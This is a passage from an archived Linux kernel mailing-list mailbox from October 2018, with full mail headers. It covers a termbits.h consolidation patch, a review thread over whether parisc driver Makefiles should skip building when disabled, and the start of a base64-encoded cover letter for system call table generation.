Original-Received: from hanvin-mobl2.amr.corp.intel.com ([10.254.189.220])
  by fmsmga004.fm.intel.com with ESMTP; 04 Oct 2018 15:30:01 -0700
X-Mailer: git-send-email 2.14.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2890559 gmane.linux.kernel.cross-arch:47405 gmane.linux.serial:30734 gmane.linux.ports.ia64:29339 gmane.linux.ports.mips.general:66973 gmane.linux.ports.parisc:29085
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2890559>

<asm/termbits.h> is one of those files which define an ABI. Some were
made different due to the desire to be compatible with legacy
architectures, others were mostly direct copies of the i386
definitions, which are now in asm-generic.

This folds the IA64, MIPS, PA-RISC, and Xtensa implementations into
the generic one.  IA64 and Xtensa are identical, MIPS and PA-RISC are
trivially different and just need a handful of constants redefined.

<asm-generic/termbits.h> has a few very minor adjustments to allow this.

 arch/ia64/include/uapi/asm/termbits.h   | 210 +-----------------------------
 arch/mips/include/uapi/asm/ioctls.h     |   2 +
 arch/mips/include/uapi/asm/termbits.h   | 213 ++----------------------------
 arch/parisc/include/uapi/asm/termbits.h | 197 +---------------------------
 arch/xtensa/include/uapi/asm/termbits.h | 222 +-------------------------------
 include/uapi/asm-generic/termbits.h     |   7 +-
 6 files changed, 27 insertions(+), 824 deletions(-)

Signed-off-by: H. Peter Anvin (Intel) <hpa@zytor.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Chris Zankel <chris@zankel.net>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Helge Deller <deller@gmx.de>
Cc: James Hogan <jhogan@kernel.org>
Cc: Jiri Slaby <jslaby@suse.com>
Cc: Kate Stewart <kstewart@linuxfoundation.org>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Paul Burton <paul.burton@mips.com>
Cc: Philippe Ombredanne <pombredanne@nexb.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Tony Luck <tony.luck@intel.com>
Cc: <linux-ia64@vger.kernel.org>
Cc: <linux-mips@linux-mips.org>
Cc: <linux-parisc@vger.kernel.org>
Cc: <linux-xtensa@linux-xtensa.org>


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo Bras <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Thu, 4 Oct 2018 23:16:24 -0300
Lines: 43
Approved: news@gmane.org
Message-ID: <CADvQ+rG0WQjFTU=A4tAACvqFevw51DX_-yq2-9j78T8pSrjcXQ@mail.gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20180928020816.11251-4-leobras.c@gmail.com>
 <1538118915.3593.4.camel@HansenPartnership.com> <CADvQ+rGQenkoE0xCRTwjA5BuKZbZ2Upkyx=+qWFUGnUcit-aCQ@mail.gmail.com>
 <1538628062.18776.5.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538705676 20661 195.159.176.226 (5 Oct 2018 02:14:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2018 02:14:36 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 05 04:14:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g8FdO-0005F4-T8
	for glk-linux-kernel-4@m.gmane.org; Fri, 05 Oct 2018 04:14:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727444AbeJEJNH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 5 Oct 2018 05:13:07 -0400
Original-Received: from mail-ot1-f66.google.com ([209.85.210.66]:34103 "EHLO
        mail-ot1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726865AbeJEJNG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 5 Oct 2018 05:13:06 -0400
Original-Received: by mail-ot1-f66.google.com with SMTP id i12-v6so11285351otl.1;
        Thu, 04 Oct 2018 19:16:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=yp45rWFEnMDh40D433CB4RpMppqb125ALS7H//aP1BU=;
        b=b7cJEhwV3BrFmxynly+U2KSpgQ/ktE0XDPgiHgdRwie/hyKB6DvuxWdpO0AVM8m/Ed
         6OYh5cr08BXpyXAOBrziClPAXw+hxj9I6spSycvauKQhVdwRyOV8x1+aHcN80WD2G2hL
         ROWw9GS+mV4Ob/P6URyjS0MPxeW1pEmSDuKBDux9O1Sz6M5vFMOu9LeTdro+KJ9iPuq/
         uUrO18FDXoPs2QTXU9bvon8+ZBBavu9+T+jHCE+q/oC3lCFEVNz5LbW27WJsynblnHUA
         41tmy5oY7DtBKVVt0vJgxcE0iWGLcQzpU/GGmzmsp3Bb1ml2hidb/Rf4v+ZeScPua+uC
         7rbg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=yp45rWFEnMDh40D433CB4RpMppqb125ALS7H//aP1BU=;
        b=sdDsYU8zQlS4lxxeXWbFQK/aM8Dh7Ct9J5Gi64kQCWuZjcc9a9AMvqAn0PmCBNImhb
         lgfWxB/sTe+jlhlZaGduCfhgp2bgBPP2HaLrmjOFg7fUIW4ZTbDJye0bEMve6kQG3FEp
         ugGS0Luw6B9+mCczFOG6AzKSSlFP1TswT79oZ0dHTpbyAWPhZniMEf6vyJycVW4gcBFv
         JoawCzVx1Xce+DmtW4YGLtHaT7Ktrpn/EpWnrUdukoBYvcnO6UDoeiDyogmt4Z24yDv4
         VBFxFel0Ao/DH3O0yB7UYOvB1tHViAr4mGzNkLLGiBHS25TKTZWQEUMArWXCxMxoGFxz
         Hiag==
X-Gm-Message-State: ABuFfojrNdxiLKJaPlupYokZxS95fAGEJhL7sAOxyMEprGngr9w6/yWl
        XPruQ43iaE2uNO9AbLSjUkDOrkLlfFan6hjBbK0=
X-Google-Smtp-Source: ACcGV632KL6vmCzEYHRnXAbfDL0jw3PMNgDTBUq4Hwu4x5C2AU4B45kLMWBo7feUtoouFsoWjVT50Zm7ddOdOn0eJFs=
X-Received: by 2002:a9d:63d6:: with SMTP id e22-v6mr5516801otl.233.1538705796196;
 Thu, 04 Oct 2018 19:16:36 -0700 (PDT)
In-Reply-To: <1538628062.18776.5.camel@HansenPartnership.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2890614 gmane.linux.oprofile:13262 gmane.linux.ports.parisc:29086
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2890614>

> Well it's not really that persuasive.  Most people simply let the build
> run to completion, but if you have a problem with a job control 3h
> timelimit, then create a job that kills itself at 2:59 and then
> resubmits itself.  That will produce a complete build in 3h chunks
> without any need to call sub Makefiles.
>

Humm, I probably should have explained better how GitlabCI works.
It works creating a docker container that have a limited lifespan of 3h max.
After that the time is over, this container ceases to exist, leaving no build
objects, only the console log. So there is no way of 'resuming' the building
from where it stopped. I used the 'job' term because it's how they call it,
and I understand it's easily confused with bash jobs.

> All of our Makefiles are coded assuming the upper level can prevent
> descent into the lower ones.  You're proposing to change that
> assumption, requiring a fairly large patch set, which doesn't really
> seem to provide a huge benefit.
>
> James

I understand your viewpoint.
But what I propose is not to change that assumption, but instead give some
Makefiles the aditional ability to be called directly and still not build stuff
if they were not enabled in .config.

But, why these chosen Makefiles, and not all of them?
Granularity.
What I am trying to achieve with this patchset is the ability of building
smaller sets of drivers without accidentally building what is not enabled
on .config.
And, in my viewpoint, building a single drivers/DRIVERNAME is small enough to
be fast in most situations.

This change is not supposed to bother the usual way of building the kernel, and
it is not even supposed to add overhead to kernel compilation. And it would,
at least, solve my problem with the 3h limit, and enable the tool
I am building on GiltabCI to help other developers.

Thanks for reading,

Leonardo Bras


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Finn Thain <fthain@telegraphics.com.au>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Fri, 5 Oct 2018 14:10:04 +1000 (AEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.21.1810051332350.33@nippy.intranet>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20180928020816.11251-4-leobras.c@gmail.com> <1538118915.3593.4.camel@HansenPartnership.com> <CADvQ+rGQenkoE0xCRTwjA5BuKZbZ2Upkyx=+qWFUGnUcit-aCQ@mail.gmail.com> <1538628062.18776.5.camel@HansenPartnership.com>
 <CADvQ+rG0WQjFTU=A4tAACvqFevw51DX_-yq2-9j78T8pSrjcXQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1538712497 16211 195.159.176.226 (5 Oct 2018 04:08:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 5 Oct 2018 04:08:17 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org
To: Leonardo Bras <leobras.c@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 05 06:08:12 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g8HPJ-0003p7-4Z
	for glk-linux-kernel-4@m.gmane.org; Fri, 05 Oct 2018 06:08:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727578AbeJELG6 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 5 Oct 2018 07:06:58 -0400
Original-Received: from kvm5.telegraphics.com.au ([98.124.60.144]:49956 "EHLO
        kvm5.telegraphics.com.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726826AbeJELG6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 5 Oct 2018 07:06:58 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by kvm5.telegraphics.com.au (Postfix) with ESMTP id EE768231E6;
        Fri,  5 Oct 2018 00:10:05 -0400 (EDT)
In-Reply-To: <CADvQ+rG0WQjFTU=A4tAACvqFevw51DX_-yq2-9j78T8pSrjcXQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2890633 gmane.linux.oprofile:13263 gmane.linux.ports.parisc:29087
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2890633>

On Thu, 4 Oct 2018, Leonardo Bras wrote:

> ... 
> But, why these chosen Makefiles, and not all of them?

I think that inconsistency is untenable. If nothing else, it means your 
changes will get broken by other people who also apply constraints 
inconsistently.

I think you need to consider what happens when you apply this regime 
tree-wide. Either that or explain why it would make sense to build e.g. 
drivers/s390 but not drivers/s390/net.

-- 


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Schmitz <schmitzmic@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Sat, 6 Oct 2018 17:28:41 +1300
Lines: 71
Approved: news@gmane.org
Message-ID: <765df6c3-0339-ebf3-6446-cef4fc1eb1cc@gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com>
 <20180928020816.11251-4-leobras.c@gmail.com>
 <1538118915.3593.4.camel@HansenPartnership.com>
 <CADvQ+rGQenkoE0xCRTwjA5BuKZbZ2Upkyx=+qWFUGnUcit-aCQ@mail.gmail.com>
 <1538628062.18776.5.camel@HansenPartnership.com>
 <CADvQ+rG0WQjFTU=A4tAACvqFevw51DX_-yq2-9j78T8pSrjcXQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538800002 8384 195.159.176.226 (6 Oct 2018 04:26:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 6 Oct 2018 04:26:42 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux ppc; rv:45.0) Gecko/20100101
 Icedove/45.4.0
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org
To: Leonardo Bras <leobras.c@gmail.com>,
        James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 06 06:26:37 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g8eAm-000235-Lw
	for glk-linux-kernel-4@m.gmane.org; Sat, 06 Oct 2018 06:26:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727588AbeJFLa2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 6 Oct 2018 07:30:28 -0400
Original-Received: from mail-pf1-f196.google.com ([209.85.210.196]:41618 "EHLO
        mail-pf1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726992AbeJFLa1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 6 Oct 2018 07:30:27 -0400
Original-Received: by mail-pf1-f196.google.com with SMTP id m77-v6so5947377pfi.8;
        Fri, 05 Oct 2018 21:28:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=/O48OpVMFHSVCTo9ystJgMwkMX/+75g2FepSOVPLCkE=;
        b=khcclnDwCgNDLGj4Egl25Fg5jqqqCJJUsgMaJleoTyNAguHNwlh17MNxsEyPq/e8sc
         9yWAncviq+wyC6glDV7SddEDzzRsRBLJ5YK3Rdmr5qeHg2v61nnv/E91ffsK/3pUHdlh
         xgS2fJPAb0J1CdQnIMFoRgEQB3C67ncovkfaoojSDZwE8N6jtpPBghfbtqNpm4gLhy28
         BgujzXmspO3Mmh0A9GqTXuODcb9E9pw8QXQar6TP2GTAOsE7Vp1LNWSz2R3mjyjj0tzC
         wd/MKwAAlRl3o/kykwv2ns2+qj5PT1VIJXQPw/povBq8ZcHQOGGCXDuvp9K4WTpU6F/z
         cXZA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=/O48OpVMFHSVCTo9ystJgMwkMX/+75g2FepSOVPLCkE=;
        b=rYiwAsVIFN+X1+oXuR0Ylokr70NYUXMtdcS2rg7OClJSlLoqhrgidDsw6R2zwgPdSg
         hz+euOnppXjC5N72Px6xnyfu/W2n0u8pgJUooHhU16obowmrutq3SmrFe6rc0X52z/AE
         wHfwUvxM+HTCfQePwgJbXgIFJ7lwPEqGs44lJwh3bUEw7ZHXJxWH0ZqNkxje59eXKGNJ
         6PxfzRk+Xs7IWAQp441/yo35gRPWUxMh+mk/3dBt8w6ArY1Wtcybi5hP6Cxkg5eVV2T1
         YN+4xDRCwYbG2u8RkTgEvFgOKHnac8uIHesV+uPHiD8rk9stwhglkRuEcS9DDwsRitiz
         DJEA==
X-Gm-Message-State: ABuFfog54pwD036F3UeAj99slhPW2Foi+75gjjT6+xFwgRwwcgslZvO5
        7//et9CWENriYfA+ckQjtok90gCmGn4=
X-Google-Smtp-Source: ACcGV63pu3QIci8/wL9/8pdQw/6wY3wrC8hrg/jEc3lYWr1OscgUW2qStULq4jDz+Axz876yanhBmg==
X-Received: by 2002:a62:21d1:: with SMTP id o78-v6mr14763287pfj.235.1538800119497;
        Fri, 05 Oct 2018 21:28:39 -0700 (PDT)
Original-Received: from [192.168.1.101] (222-154-41-72-adsl.sparkbb.co.nz. [222.154.41.72])
        by smtp.gmail.com with ESMTPSA id l2-v6sm9407582pgp.20.2018.10.05.21.28.31
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 05 Oct 2018 21:28:38 -0700 (PDT)
In-Reply-To: <CADvQ+rG0WQjFTU=A4tAACvqFevw51DX_-yq2-9j78T8pSrjcXQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2891743 gmane.linux.oprofile:13264 gmane.linux.ports.parisc:29088
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2891743>



Am 05.10.2018 um 15:16 schrieb Leonardo Bras:
>> Well it's not really that persuasive.  Most people simply let the build
>> run to completion, but if you have a problem with a job control 3h
>> timelimit, then create a job that kills itself at 2:59 and then
>> resubmits itself.  That will produce a complete build in 3h chunks
>> without any need to call sub Makefiles.
>>
>
> Humm, I probably should have explained better how GitlabCI works.
> It works creating a docker container that have a limited lifespan of 3h max.
> After that the time is over, this container ceases to exist, leaving no build
> objects, only the console log. So there is no way of 'resuming' the building
> from where it stopped. I used the 'job' term because it's how they call it,
> and I understand it's easily confused with bash jobs.
>
>> All of our Makefiles are coded assuming the upper level can prevent
>> descent into the lower ones.  You're proposing to change that
>> assumption, requiring a fairly large patch set, which doesn't really
>> seem to provide a huge benefit.
>>
>> James
>
> I understand your viewpoint.
> But what I propose is not to change that assumption, but instead give some
> Makefiles the aditional ability to be called directly and still not build stuff
> if they were not enabled in .config.
>
> But, why these chosen Makefiles, and not all of them?
> Granularity.
> What I am trying to achieve with this patchset is the ability of building
> smaller sets of drivers without accidentally building what is not enabled
> on .config.
> And, in my viewpoint, building a single drivers/DRIVERNAME is small enough to
> be fast in most situations.

That already works, doesn't it? So all that you'd need is an offline 
tool to precompute what drivers to actually build with a given config.

'make -n' with some suitable output mangling might do the job.

There may well be other ways to achieve your stated goal, without any 
need to make changes to the kernel build process (which is the result of 
many years of evolution and tuning, BTW).

> This change is not supposed to bother the usual way of building the kernel, and

Enough people have voiced their concern to warrant that you should back 
up that claim, IMO. Have you verified that your patchset does not change 
current behaviour when building the entire set of default configurations 
for each supported architecture? Does it reduce or increase overall 
complexity of the build process?

> it is not even supposed to add overhead to kernel compilation. And it would,
> at least, solve my problem with the 3h limit, and enable the tool
> I am building on GiltabCI to help other developers.

(Apropos of nothing: Am I the only one who thinks gitlab might take a 
rather dim view of your creativity in dealing with their limit?)

> Thanks for reading,
>
> Leonardo Bras

Thanks for listening!

Cheers,

	Michael


From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH v3 0/6] System call table generation support
Date: Mon,  8 Oct 2018 10:46:35 +0530
Lines: 63
Approved: news@gmane.org
Message-ID: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1538975725 9280 195.159.176.226 (8 Oct 2018 05:15:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:15:25 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, arnd@arndb.de, y2038@lists.linaro.org,
 linux-kernel@vger.kernel.org, marcin.juszkiewicz@linaro.org,
 firoz.khan@linaro.org, deepa.kernel@gmail.com
To: linux-parisc@vger.kernel.org,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 Helge Deller <deller@gmx.de>, Thomas Gleixner <tglx@linutronix.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 Philippe Ombredanne <pombredanne@nexb.com>,
 Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: y2038-bounces@lists.linaro.org Mon Oct 08 07:15:19 2018
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1g9Nt0-0002GT-L7
	for glky-y2038@m.gmane.org; Mon, 08 Oct 2018 07:15:18 +0200
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id 8FA6061FFE; Mon,  8 Oct 2018 05:17:28 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id A1BE9608D2;
	Mon,  8 Oct 2018 05:17:23 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 86E5A6180D; Mon,  8 Oct 2018 05:17:20 +0000 (UTC)
Original-Received: from mail-pl1-f181.google.com (mail-pl1-f181.google.com
 [209.85.214.181])
 by lists.linaro.org (Postfix) with ESMTPS id 5986A608D2
 for <y2038@lists.linaro.org>; Mon,  8 Oct 2018 05:17:19 +0000 (UTC)
Original-Received: by mail-pl1-f181.google.com with SMTP id f8-v6so9503959plb.2
 for <y2038@lists.linaro.org>; Sun, 07 Oct 2018 22:17:19 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id;
 bh=Q9rrLwgEobAJCZ02BoF9JDexezs2dmUJFswowYQcnpo=;
 b=lawFvxrnDkPzZGeWNhbb/HFxA6yrc33yNUUOfcP31Le3hoVjpy14vrFfciIpNvf6em
 mhpPMm2qVeh0JDEvwW2euD7BkxQcj85cdm80W6TD0aoQbvFfA4Icsuo2IINYClbUEtL/
 +vqmuy7kDC3vThyxbsKlG2K65aogObiLwjRTFgC6NMkqulmYr8MEhMkSPuO8GAt/+Kjo
 b0HyMOlafhBfxVuKuItaWNynWCcRssBYHBEt2D7ue6/nQqk0aMZl1dho+NCxW5twpzO0
 Tm/7FSwftafa8y5/5Sfk7/x3AIDnpjgTZ52Jo2CkdtY1bAR9g7cL/f7jTBg1aG+rlIL/
 oeHg==
X-Gm-Message-State: ABuFfogEAfaMhLUytcP2D0r+K2FevuuRt5MloqbAkngyZ7DvLLT+LZJ9
 rxPOaUfLowzJxjAmPXUB42DW38yI
X-Google-Smtp-Source: ACcGV61qt3zcXDee+/5b9WBQn+wwybxiST4LgtrRx2lBZA27VfGyjD2Fhg28Mc0cuFXXAKCItLKtxg==
X-Received: by 2002:a17:902:694c:: with SMTP id
 k12-v6mr22841855plt.17.1538975838398; 
 Sun, 07 Oct 2018 22:17:18 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com
 (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
 by smtp.gmail.com with ESMTPSA id j19-v6sm1875919pfi.137.2018.10.07.22.17.13
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
 Sun, 07 Oct 2018 22:17:17 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
Xref: news.gmane.org gmane.linux.kernel.year-2038:3451 gmane.linux.ports.parisc:29089 gmane.linux.kernel.cross-arch:47479 gmane.linux.kernel:2892276
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.year-2038/3451>

VGhlIHB1cnBvc2Ugb2YgdGhpcyBwYXRjaCBzZXJpZXMgaXM6CjEuIFdlIGNhbiBlYXNpbHkgYWRk
L21vZGlmeS9kZWxldGUgc3lzdGVtIGNhbGwgYnkgY2hhbmdpbmcgZW50cnkgCmluIHN5c2NhbGwu
dGJsIGZpbGUuIE5vIG5lZWQgdG8gbWFudWFsbHkgZWRpdCBtYW55IGZpbGVzLgoKMi4gSXQgaXMg
ZWFzeSB0byB1bmlmeSB0aGUgc3lzdGVtIGNhbGwgaW1wbGVtZW50YXRpb24gYWNyb3NzIGFsbCAK
dGhlIGFyY2hpdGVjdHVyZXMuIAoKVGhlIHN5c3RlbSBjYWxsIHRhYmxlcyBhcmUgaW4gZGlmZmVy
ZW50IGZvcm1hdCBpbiBhbGwgYXJjaGl0ZWN0dXJlIAphbmQgaXQgd2lsbCBiZSBkaWZmaWN1bHQg
dG8gbWFudWFsbHkgYWRkIG9yIG1vZGlmeSB0aGUgc3lzdGVtIGNhbGxzCmluIHRoZSByZXNwZWN0
aXZlIGZpbGVzIG1hbnVhbGx5LiBUbyBtYWtlIGl0IGVhc3kgYnkga2VlcGluZyBhIHNjcmlwdCAK
YW5kIHdoaWNoJ2xsIGdlbmVyYXRlIHRoZSBoZWFkZXIgZmlsZSBhbmQgc3lzY2FsbCB0YWJsZSBm
